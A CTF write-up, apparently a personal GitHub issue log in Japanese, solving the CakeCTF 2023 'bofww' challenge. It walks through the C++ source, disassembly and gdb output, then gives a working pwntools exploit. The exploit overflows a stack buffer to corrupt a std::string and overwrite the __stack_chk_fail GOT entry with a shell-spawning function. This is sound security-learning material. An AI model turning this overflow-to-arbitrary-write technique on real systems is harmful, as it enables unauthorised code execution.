roaris / ctf-log

0 stars 0 forks source link

CakeCTF 2023 : bofww #85

Open roaris opened 3 weeks ago

roaris commented 3 weeks ago

https://alpacahack.com/challenges/bofww

roaris commented 3 weeks ago
$ ./bofww
What is your first name? test
How old are you? 10
Information:
Age: 10
Name: test

$ checksec bofww
[*] '/home/roaris/alpacahack/bofww/bofww'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
roaris commented 3 weeks ago

ソースコードはC++で書かれている

#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}

input_person関数のアセンブリは以下 シンボル名が複雑なのは、マングリングのため C++では引数が違えば、同じ名前の関数を定義することが出来るため、シンボルに引数の情報を含める必要がある(マングリングという)

0000000000401310 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>:
  401310:   f3 0f 1e fa             endbr64
  401314:   55                      push   rbp
  401315:   48 89 e5                mov    rbp,rsp
  401318:   48 81 ec 30 01 00 00    sub    rsp,0x130
  40131f:   48 89 bd d8 fe ff ff    mov    QWORD PTR [rbp-0x128],rdi
  401326:   48 89 b5 d0 fe ff ff    mov    QWORD PTR [rbp-0x130],rsi
  40132d:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  401334:   00 00 
  401336:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  40133a:   31 c0                   xor    eax,eax
  40133c:   48 8d 05 c9 0c 00 00    lea    rax,[rip+0xcc9]        # 40200c <_IO_stdin_used+0xc>
  401343:   48 89 c6                mov    rsi,rax
  401346:   48 8d 05 b3 2d 00 00    lea    rax,[rip+0x2db3]        # 404100 <_ZSt4cout@GLIBCXX_3.4>
  40134d:   48 89 c7                mov    rdi,rax
  401350:   e8 1b fe ff ff          call   401170 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  401355:   48 8d 85 f0 fe ff ff    lea    rax,[rbp-0x110]
  40135c:   48 89 c6                mov    rsi,rax
  40135f:   48 8d 05 ba 2e 00 00    lea    rax,[rip+0x2eba]        # 404220 <_ZSt3cin@GLIBCXX_3.4>
  401366:   48 89 c7                mov    rdi,rax
  401369:   e8 36 02 00 00          call   4015a4 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_>
  40136e:   48 8d 05 b1 0c 00 00    lea    rax,[rip+0xcb1]        # 402026 <_IO_stdin_used+0x26>
  401375:   48 89 c6                mov    rsi,rax
  401378:   48 8d 05 81 2d 00 00    lea    rax,[rip+0x2d81]        # 404100 <_ZSt4cout@GLIBCXX_3.4>
  40137f:   48 89 c7                mov    rdi,rax
  401382:   e8 e9 fd ff ff          call   401170 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  401387:   48 8d 85 ec fe ff ff    lea    rax,[rbp-0x114]
  40138e:   48 89 c6                mov    rsi,rax
  401391:   48 8d 05 88 2e 00 00    lea    rax,[rip+0x2e88]        # 404220 <_ZSt3cin@GLIBCXX_3.4>
  401398:   48 89 c7                mov    rdi,rax
  40139b:   e8 80 fd ff ff          call   401120 <_ZNSirsERi@plt>
  4013a0:   48 8d 95 f0 fe ff ff    lea    rdx,[rbp-0x110]
  4013a7:   48 8b 85 d0 fe ff ff    mov    rax,QWORD PTR [rbp-0x130]
  4013ae:   48 89 d6                mov    rsi,rdx
  4013b1:   48 89 c7                mov    rdi,rax
  4013b4:   e8 e7 fd ff ff          call   4011a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc@plt>
  4013b9:   8b 95 ec fe ff ff       mov    edx,DWORD PTR [rbp-0x114]
  4013bf:   48 8b 85 d8 fe ff ff    mov    rax,QWORD PTR [rbp-0x128]
  4013c6:   89 10                   mov    DWORD PTR [rax],edx
  4013c8:   90                      nop
  4013c9:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4013cd:   64 48 2b 04 25 28 00    sub    rax,QWORD PTR fs:0x28
  4013d4:   00 00 
  4013d6:   74 05                   je     4013dd <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+0xcd>
  4013d8:   e8 b3 fd ff ff          call   401190 <__stack_chk_fail@plt>
  4013dd:   c9                      leave
  4013de:   c3                      ret
roaris commented 3 weeks ago

std::cin >> _name;に対応するアセンブリは以下

  401355:   48 8d 85 f0 fe ff ff    lea    rax,[rbp-0x110]
  40135c:   48 89 c6                mov    rsi,rax
  40135f:   48 8d 05 ba 2e 00 00    lea    rax,[rip+0x2eba]        # 404220 <_ZSt3cin@GLIBCXX_3.4>
  401366:   48 89 c7                mov    rdi,rax
  401369:   e8 36 02 00 00          call   4015a4 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_>

std::cin >> _age;に対応するアセンブリは以下

  401387:   48 8d 85 ec fe ff ff    lea    rax,[rbp-0x114]
  40138e:   48 89 c6                mov    rsi,rax
  401391:   48 8d 05 88 2e 00 00    lea    rax,[rip+0x2e88]        # 404220 <_ZSt3cin@GLIBCXX_3.4>
  401398:   48 89 c7                mov    rdi,rax
  40139b:   e8 80 fd ff ff          call   401120 <_ZNSirsERi@plt>

name = _name;に対応するアセンブリは以下 $rbp-0x110には入力した文字列が格納されていて、$rbp-0x130にはmain関数内のnameのアドレスが格納されている

  4013a0:   48 8d 95 f0 fe ff ff    lea    rdx,[rbp-0x110]
  4013a7:   48 8b 85 d0 fe ff ff    mov    rax,QWORD PTR [rbp-0x130]
  4013ae:   48 89 d6                mov    rsi,rdx
  4013b1:   48 89 c7                mov    rdi,rax
  4013b4:   e8 e7 fd ff ff          call   4011a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc@plt>

$rbp-0x130にmain関数内のnameのアドレスを格納している箇所

  401326:   48 89 b5 d0 fe ff ff    mov    QWORD PTR [rbp-0x130],rsi

age = _age;に対応するアセンブリは以下 $rbp-0x114には入力した数値が格納されていて、$rbp-0x128にはmain関数内のageのアドレスが格納されている

  4013b9:   8b 95 ec fe ff ff       mov    edx,DWORD PTR [rbp-0x114]
  4013bf:   48 8b 85 d8 fe ff ff    mov    rax,QWORD PTR [rbp-0x128]
  4013c6:   89 10                   mov    DWORD PTR [rax],edx

$rbp-0x128にmain関数内のageのアドレスを格納している箇所

  40131f:   48 89 bd d8 fe ff ff    mov    QWORD PTR [rbp-0x128],rdi

main関数内のinput_person関数の呼び出し

00000000004013df <main>:
...
  401407:   48 8d 55 c0             lea    rdx,[rbp-0x40]
  40140b:   48 8d 45 bc             lea    rax,[rbp-0x44]
  40140f:   48 89 d6                mov    rsi,rdx
  401412:   48 89 c7                mov    rdi,rax
  401415:   e8 f6 fe ff ff          call   401310 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>
roaris commented 3 weeks ago

std::stringの構造について知る https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732#stdstring

次のような0x20バイトの構造になっています。 +00h: <データへのポインタ> +08h: <データのサイズ> +10h: <データ領域の容量>あるいは<データ本体+0h> +18h: <未使用>あるいは<データ本体+8h>

データサイズが15バイト以下のときはstd::stringのオフセット+10hにデータ本体が格納されます。 したがって、その場合データへのポインタはstd::stringの先頭+0x10を指します。 データサイズが16バイト以上のときはmallocで別途領域が確保され、そこにデータ本体が格納されます。 この場合オフセット+10hにはデータの容量が記録されます。 容量とは「これまでその領域に入った最も長いデータ」であり、malloc_usable_sizeで返ってくるような値ではありません。

実際に確認する

入力する文字列が15文字の時

$ gdb -q bofww
Reading symbols from bofww...
(No debugging symbols found in bofww)
gdb-peda$ b *0x40141a
Breakpoint 1 at 0x40141a
gdb-peda$ r
Starting program: /home/roaris/alpacahack/bofww/bofww
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
What is your first name? abcdefghijklmno
How old are you? 123
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe098 --> 0x7fffffffe334 ("/home/roaris/alpacahack/bofww/bofww")
RCX: 0x6f6e6d6c6b6a6968 ('hijklmno')
RDX: 0x7b ('{')
RSI: 0x6867666564636261 ('abcdefgh')
RDI: 0x7fffffffdf50 ("abcdefghijklmno")
RBP: 0x7fffffffdf80 --> 0x1
RSP: 0x7fffffffdf30 (".eh_pool\300\232\320\367{")
RIP: 0x40141a (<main+59>:       lea    rax,[rip+0xc17]        # 0x402038)
R8 : 0xf
R9 : 0x0
R10: 0x7ffff7b46f10 --> 0x10001a00001ccc
R11: 0x7ffff7c86d80 (<__memcpy_avx_unaligned_erms>:     mov    rax,rdi)
R12: 0x0
R13: 0x7fffffffe0a8 --> 0x7fffffffe358 ("HOSTTYPE=x86_64")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2e0 --> 0x0
R15: 0x403de8 --> 0x4012c0 (<__do_global_dtors_aux>:    endbr64)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40140f <main+48>:  mov    rsi,rdx
   0x401412 <main+51>:  mov    rdi,rax
   0x401415 <main+54>:  call   0x401310 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>
=> 0x40141a <main+59>:  lea    rax,[rip+0xc17]        # 0x402038
   0x401421 <main+66>:  mov    rsi,rax
   0x401424 <main+69>:  lea    rax,[rip+0x2cd5]        # 0x404100 <_ZSt4cout@GLIBCXX_3.4>
   0x40142b <main+76>:  mov    rdi,rax
   0x40142e <main+79>:  call   0x401170 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf30 (".eh_pool\300\232\320\367{")
0008| 0x7fffffffdf38 --> 0x7bf7d09ac0
0016| 0x7fffffffdf40 --> 0x7fffffffdf50 ("abcdefghijklmno")
0024| 0x7fffffffdf48 --> 0xf
0032| 0x7fffffffdf50 ("abcdefghijklmno")
0040| 0x7fffffffdf58 --> 0x6f6e6d6c6b6a69 ('ijklmno')
0048| 0x7fffffffdf60 --> 0x0
0056| 0x7fffffffdf68 --> 0x94c655ab817dff00
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040141a in main ()
gdb-peda$ x/32bx $rbp-0x40
0x7fffffffdf40: 0x50    0xdf    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdf48: 0x0f    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdf50: 0x61    0x62    0x63    0x64    0x65    0x66    0x67    0x68
0x7fffffffdf58: 0x69    0x6a    0x6b    0x6c    0x6d    0x6e    0x6f    0x00

入力する文字列が16文字の時

$ gdb -q bofww
Reading symbols from bofww...
(No debugging symbols found in bofww)
gdb-peda$ b *0x40141a
Breakpoint 1 at 0x40141a
gdb-peda$ r
Starting program: /home/roaris/alpacahack/bofww/bofww
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
What is your first name? abcdefghijklmnop
How old are you? 123
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe098 --> 0x7fffffffe334 ("/home/roaris/alpacahack/bofww/bofww")
RCX: 0x4172b0 ("abcdefghijklmnop")
RDX: 0x7b ('{')
RSI: 0x7fffffffde10 ("abcdefghijklmnop")
RDI: 0x7fffffffdf50 --> 0x1e
RBP: 0x7fffffffdf80 --> 0x1
RSP: 0x7fffffffdf30 (".eh_pool\300\232\320\367{")
RIP: 0x40141a (<main+59>:       lea    rax,[rip+0xc17]        # 0x402038)
R8 : 0x30 ('0')
R9 : 0x1
R10: 0x7ffff7b46f10 --> 0x10001a00001ccc
R11: 0x7ffff7c86d80 (<__memcpy_avx_unaligned_erms>:     mov    rax,rdi)
R12: 0x0
R13: 0x7fffffffe0a8 --> 0x7fffffffe358 ("HOSTTYPE=x86_64")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2e0 --> 0x0
R15: 0x403de8 --> 0x4012c0 (<__do_global_dtors_aux>:    endbr64)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40140f <main+48>:  mov    rsi,rdx
   0x401412 <main+51>:  mov    rdi,rax
   0x401415 <main+54>:  call   0x401310 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>
=> 0x40141a <main+59>:  lea    rax,[rip+0xc17]        # 0x402038
   0x401421 <main+66>:  mov    rsi,rax
   0x401424 <main+69>:  lea    rax,[rip+0x2cd5]        # 0x404100 <_ZSt4cout@GLIBCXX_3.4>
   0x40142b <main+76>:  mov    rdi,rax
   0x40142e <main+79>:  call   0x401170 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf30 (".eh_pool\300\232\320\367{")
0008| 0x7fffffffdf38 --> 0x7bf7d09ac0
0016| 0x7fffffffdf40 --> 0x4172b0 ("abcdefghijklmnop")
0024| 0x7fffffffdf48 --> 0x10
0032| 0x7fffffffdf50 --> 0x1e
0040| 0x7fffffffdf58 --> 0x7ffff7f98398 --> 0x7ffff7df3e70 (endbr64)
0048| 0x7fffffffdf60 --> 0x0
0056| 0x7fffffffdf68 --> 0xe9f5096fb73bb900
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040141a in main ()
gdb-peda$ x/32bx $rbp-0x40
0x7fffffffdf40: 0xb0    0x72    0x41    0x00    0x00    0x00    0x00    0x00
0x7fffffffdf48: 0x10    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdf50: 0x1e    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdf58: 0x98    0x83    0xf9    0xf7    0xff    0x7f    0x00    0x00
gdb-peda$ x/24bx 0x4172b0
0x4172b0:       0x61    0x62    0x63    0x64    0x65    0x66    0x67    0x68
0x4172b8:       0x69    0x6a    0x6b    0x6c    0x6d    0x6e    0x6f    0x70
0x4172c0:       0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
roaris commented 3 weeks ago

代入 std::stringの代入はデータの中身がコピーされます。 代入元のデータサイズより代入先の容量の方が大きい場合、代入先のポインタにそのままデータがコピーされ、データサイズが更新されます。 代入元のデータサイズより代入先の容量の方が小さい場合、代入先のデータポインタに再確保が発生してからデータがコピーされます。

この動作を利用すると、任意のアドレスへの書き込み(AAW: Arbitary Address Write)が可能 今回の問題の場合、std::cin >> _name;でバッファオーバーフローが可能であり、これによってstd::string nameの構造を以下のように書き換える(input_person関数のスタックから始まって、main関数のスタックを書き換えるということになる)

+00h: __stack_chk_fail関数のGOTのアドレス
+08h: 適当
+10h: 大きな値
+18h: 適当

入力文字列の先頭をwin関数のアドレスにしておけば、name = _name;で__stack_chk_fail関数のGOTに格納されたアドレスがwin関数のアドレスとなる 大きな値と書いたところは、name = _name;の_nameのサイズよりも大きければ良い もし_nameのサイズよりも小さいと、mallocにより領域が確保され、__stack_chk_fail関数のGOTではない別の場所にwin関数のアドレスが書き込まれることになる _nameはf6 12 40 00 00 00 ...で、サイズは3なので、大きな値といっても3以上あれば十分である

from pwn import *

if args.LOCAL:
    io = process('./bofww')
elif args.GDB:
    io = gdb.debug(['./bofww'], gdbscript='b main\nc')
elif args.REMOTE:
    io = remote('34.170.146.252', 33325)

stack_chk_fail_got_addr = 0x404050
win_addr = 0x4012f6
payload = win_addr.to_bytes(8, 'little')
payload += b'a' * (0x130 - len(payload))
payload += stack_chk_fail_got_addr.to_bytes(8, 'little')
payload += (0).to_bytes(8, 'little')
payload += (3).to_bytes(8, 'little')

io.sendlineafter(b'What is your first name? ', payload)
io.sendlineafter(b'How old are you? ', b'1')
io.interactive()